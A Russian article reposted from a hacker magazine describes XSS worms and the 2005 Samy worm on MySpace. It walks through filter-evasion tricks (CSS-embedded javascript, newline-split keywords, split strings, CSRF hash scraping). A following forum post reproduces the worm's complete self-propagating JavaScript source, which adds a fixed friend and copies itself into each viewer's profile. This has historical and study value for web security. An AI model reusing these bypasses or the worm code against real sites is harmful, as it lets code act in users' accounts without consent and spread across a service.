В Октябре 2005 года в Сети появился первый червь, использующий Cross-Site Scripting (XSS) уязвимость для распространения. За ночь червь Samy поразил более миллиона аккаунтов на популярном сайте Myspace.com, самой популярной социальной сети в мире. Для исправления уязвимости и устранения последствий сайт вынужден был прекратить свою работу. Автор червя, к счастью, не планировал нанесения особого вреда, единственным его желанием было прославится - но что может произойти получи менее положительный хакер контроль над миллионом броузеров легко представить... Итак, наш рассказ сегодня пойдет о XSS червях, в частности о том самом черве Samy. 10 фактов о XSS червях и вирусах: Зародились на популярных комюнити сайтах, таких как социальные сети, блоги, сайты с обзорами пользователей, форумах, чатах, почте и пр. Могут возникнуть в любой момент, так как уязвимость такого рода существует примерно на 80% сайтов. Распространяются быстрее всех известных червей типа Slammer или Blaster. С их помощью возможно создание бот-сети с целью распределенной DoS атаки. Возможно так же распространение спама, обман пользователей, изменение данных. Независимы от операционных систем. Распространяются по клиент-серверной модели (сервер-веб броузер), а не по стандартной peer-to-peer вирусной модели. Не используют уязвимости операционной системы или броузера. Могут использовать для размножения виджеты сторонних сайтов - рекламные банеры, погодные и новостные блоки, RSS ленты, счетчики и т.д. Их трудно заметить, так как поведение "зараженного" броузера ничем не отличается от стандартного, а код JavaScript-а трудно отличить от стандартных скриптов веб-страниц. Их легко остановить, так как достаточно лишь исправить ошибку или закрыть доступ к пораженному веб-сайту. Размножение Очевидно, что успешному вирусу или червю нужен механизм исполнения и размножения, XSS черви не исключение, но обладают своими уникальными особенностями. Используя веб-сайт для размещения вредоносного кода, XSS черви и вирусы перехватывают контроль над броузером и размножаются за счет копирования кода в другое место на сервере. Например, комментарий в блоге может содержать злонамеренный код, который при просмотре заставит броузер пользователей постить зараженные комментарии в другие журналы и посты. Код XSS вируса может так же отослать письма, выполнить денежный перевод, в общем сделать все, что способен сделать пользователь при помощи веб-броузера. Как возникают и распространяются такие черви понятно, а как они общаются между собой - за счет чего возможно размножение, размещение своего кода в других местах сервера? XSS эксплоиты, обычно HTML/JavaScript, используют три пути для отправки HTTP запросов: HTML теги, объекты JavaScript DOM, XMLHTTPRequest (XHR). Тэги Очевидно, что они срабатывают сразу после загрузки страницы. например Img с src атрибутом, направленным на другой сервер, автоматически запросит картинку послав соответствующий запрос. Точно так же можно сконструировать форму с атрибутом Action, указывающим на необходимую страницу, и скриптом автомтически отправить ее. Аналогичным способом можно передать серверу куки пользователя, заставить перевести деньги, оставить комментарий. Этот же механизм соединения с другим сайтом может использоваться червем для размножения. Document Object Model JavaScript изначально создавался, конечно, с благими целями, однако на настоящий момент не понятно, чего же больше от него - вреда или пользы. При помощи JavaScript можно манипулировать всем содержимым страницы - изображениями, формами, окнами, текстом, куки и прочим, все эти объекты являются частью Document Object Model. Как и в случае с HTML тегами, JavaScript может использоваться для автоматической отсылки HTTP запросов. Например: var img = new Image(); img src = "http://server/path/"; будет аналогично такому запросу: GET http://server/path HTTP/1.1 Host: server User-Agent: Firefox/1.5.0.1 Content-length: 0 XHR JavaScript API под названием XmlHttpRequest является основой модной технологии AJAX, которая позволяет обновлять содержимое веб-страниц без их полной перезагрузки. XHR обеспечивает гибкий механизм для работы с HTTP запросами, при помощи него запросы можно отсылать незаметно, не используя теги HTML или работу со скриптами. Например: var req = new XMLHttpRequest(); req.open('GET', 'http://server/path', true); req.onreadystatechange = function () { if (req.readyState ==4) { alert(req.responseText); } } req.send(null); Это породит такой же запрос, как и в предыдущем примере. Однако вернемся к нашему подопытному, первому червю подобного рода Samy. Как уже было сказано, возник он на сайте MySpace.com. Автор разметил первую копию в свое профиле. Когда зарегистрированный пользователь просматривал его, червь за счет использования XHR добавлял Samy в друзья ничего не знающего юзера, а так же записывал его в личные кумиры несчастного, делая запись "but most of all, samy is my hero". Ну и, конечно, червь вставлял самого себя. Червь установил рекорд по скорости распространения, за первые 24 часа он заразил более миллиона аккаунтов - это почти в три раза больше чем у Code Red (359.000) или Blaster (336.000). Очевидно так же, что XSS червь не принес с собой и особой сетевой катастрофы - именно за счет своей природы он не обрушил весь Интернет в день своего появления. Центральной точкой распространения является уязвимый веб-сервер и выполнение червя идет только в веб-броузере, где код передается только от сервера к броузеру и наоборот. Как же работал червь? Достаточно просто, давайте разберем основные принципы: Myspace блокирует множество тегов, позволяя только a, img и div. Однако некоторые броузеры (IE в частности) позволяют использовать скрипты внутри CSS тегов. Например: <div style="background:url('javascript:alert(1)')"> Внутри div невозможно использовать кавычки, так как они уже открыты, но это можно обойти за счет использования выражений и вызова их по имени: <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> Но это не все трудности. Сервер вырезает выражение javascript отовсюду, не дозволяя его использование. Это можно обойти за счет вставки символа перевода строки используя java\nscript вместо javascript: <div id="mycode" expr="alert('hah!')" style="background:url('java script:eval(document.all.mycode.expr)')"> Несмотря на то, что мы внедрили одинарные кавычки, нам по прежнему нужны двойные. Это легко можно реализовать вот так: <div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java script:eval(document.all.mycode.expr)')"> Для того, что бы узнать ID пользователя используем document.body.innerHTML. Однако и это режет Myspace. Тогда разбиваем на строки: alert(eval('document.body.inne' + 'rHTML')); Для создания HTTP GET запроса к POST странице используем XML-HTTP. Блокирование onreadystatechange обходим так же, как и в предыдущем случае: eval('xmlhttp.onread' + 'ystatechange = callback'); Делаем еще один GET запрос для получения списка "героев" пользователя, что бы сохранить его и забить потом заново. Для этого используем XML-HTTP, получаем исходник страницы: var index = html.indexOf('frien' + 'dID'); Получив список друзей добавляем себя через XML-HTTP POST в странице addFriends. Однако запрос не проходит. Почему? Потому что мы на profile.myspace.com, а XML-HTTP не позволяет делать POST к сайтам с другим доменным именем. Обойдем это так, Myspace позволяет просматривать профиль на своем сайте: if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search; Вроде бы все сделано, но все равно не работает... Myspace генерирует случайный хеш на странице, предшествующей POST запросу, если этот хеш не поступает вместе с данными, то они и не добавляются. Поэтому подобно броузеру мы сперва делаем GET запрос к этой странице, парсим источник в поисках хеша и лишь затем отправляем данные. Закончив, прописываем код вируса. Для этого опять получаем страницу с кешем, подготавливаем текст вируса - это проще сделать получив код профиля текущего пользователя и пропарсить его. Выделив необходимое добавляем ключевую фразу "but most of all, samy is my hero" и все. Мы получили саморазмножающийся вирус. В ходе создании червя был решен и еще ряд технических проблем, но в основном все решения описаны. Исходники вы можете найти в сети, они доступны в открытом виде. Источник: http://xakep.ru/post/31612/default.asp
Прикольная тема эти xss-вирусы... Нашел кое-что, может кому-то, кроме меня, тоже интересен будет этот код: // On the 04/10/05 this code was used by "samy" to infect www.myspace.com with // a cross-site scripting virus. // // Technical details of XSS viruses can be found in the paper: // The Cross-site Scripting Virus - http://www.bindshell.net/papers/ // // Media Report: // http://www.bindshell.net/papers/xssv/myspace/press/ // // The following code was posted to [email protected] by A. Fontes // get quotes string var B=String.fromCharCode(34); var A=String.fromCharCode(39); function g() { var C; try { var D=document.body.createTextRange(); C=D.htmlText } catch(e) { } if(C) { return C } else { return eval('document.body.inne'+'rHTML') } } function getData(AU) { M=getFromURL(AU,'friendID'); L=getFromURL(AU,'Mytoken') } function getQueryParams() { var E=document.location.search; var F=E.substring(1,E.length).split('&'); var AS=new Array(); for(var O=0;O<F.length;O++) { var I=F[O].split('='); AS[I[0]]=I[1] } return AS } var J; var AS=getQueryParams(); var L=AS['Mytoken']; var M=AS['friendID']; if(location.hostname=='profile.myspace.com') { document.location='http://www.myspace.com'+location.pathname+location.search } else { if(!M) { getData(g()) } main() } function getClientFID() { return findIn(g(),'up_launchIC( '+A,A) } function nothing() { } function paramsToString(AV) { var N=new String(); var O=0; for(var P in AV) { if(O>0) { N+='&' } var Q=escape(AV[P]); while(Q.indexOf('+')!=-1) { Q=Q.replace('+','%2B') } while(Q.indexOf('&')!=-1) { Q=Q.replace('&','%26') } N+=P+'='+Q; O++ } return N } function httpSend(BH,BI,BJ,BK) { if(!J) { return false } eval('J.onr'+'eadystatechange=BI'); J.open(BJ,BH,true); if(BJ=='POST') { J.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); J.setRequestHeader('Content-Length',BK.length) } J.send(BK); return true } function findIn(BF,BB,BC) { var R=BF.indexOf(BB)+BB.length; var S=BF.substring(R,R+1024); return S.substring(0,S.indexOf(BC)) } function getHiddenParameter(BF,BG) { return findIn(BF,'name='+B+BG+B+' value='+B,B) } function getFromURL(BF,BG) { var T; if(BG=='Mytoken') { T=B } else { T='&' } var U=BG+'='; var V=BF.indexOf(U)+U.length; var W=BF.substring(V,V+1024); var X=W.indexOf(T); var Y=W.substring(0,X); return Y } function getXMLObj() { var Z=false; if(window.XMLHttpRequest) { try { Z=new XMLHttpRequest() } catch(e) { Z=false } } else if(window.ActiveXObject) { try { Z=new ActiveXObject('Msxml2.XMLHTTP') } catch(e) { try { Z=new ActiveXObject('Microsoft.XMLHTTP') } catch(e) { Z=false } } } return Z } var AA=g(); var AB=AA.indexOf('m'+'ycode'); var AC=AA.substring(AB,AB+4096); var AD=AC.indexOf('D'+'IV'); var AE=AC.substring(0,AD); var AF; if(AE) { AE=AE.replace('jav'+'a',A+'jav'+'a'); AE=AE.replace('exp'+'r)','exp'+'r)'+A); AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>' } var AG; function getHome() { if(J.readyState!=4) { return } var AU=J.responseText; AG=findIn(AU,'P'+'rofileHeroes','</td>'); AG=AG.substring(61,AG.length); if(AG.indexOf('samy')==-1) { if(AF) { AG+=AF; var AR=getFromURL(AU,'Mytoken'); var AS=new Array(); AS['interestLabel']='heroes'; AS['submit']='Preview'; AS['interest']=AG; J=getXMLObj(); httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS)) } } } function postHero() { if(J.readyState!=4) { return } var AU=J.responseText; var AR=getFromURL(AU,'Mytoken'); var AS=new Array(); AS['interestLabel']='heroes'; AS['submit']='Submit'; AS['interest']=AG; AS['hash']=getHiddenParameter(AU,'hash'); httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS)) } function main() { var AN=getClientFID(); var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L; J=getXMLObj(); httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj(); httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET') } function processxForm() { if(xmlhttp2.readyState!=4) { return } var AU=xmlhttp2.responseText; var AQ=getHiddenParameter(AU,'hashcode'); var AR=getFromURL(AU,'Mytoken'); var AS=new Array(); AS['hashcode']=AQ; AS['friendID']='11851658'; AS['submit']='Add to Friends'; httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS)) } function httpSend2(BH,BI,BJ,BK) { if(!xmlhttp2) { return false } eval('xmlhttp2.onr'+'eadystatechange=BI'); xmlhttp2.open(BJ,BH,true); if(BJ=='POST') { xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); xmlhttp2.setRequestHeader('Content-Length',BK.length) } xmlhttp2.send(BK); return true }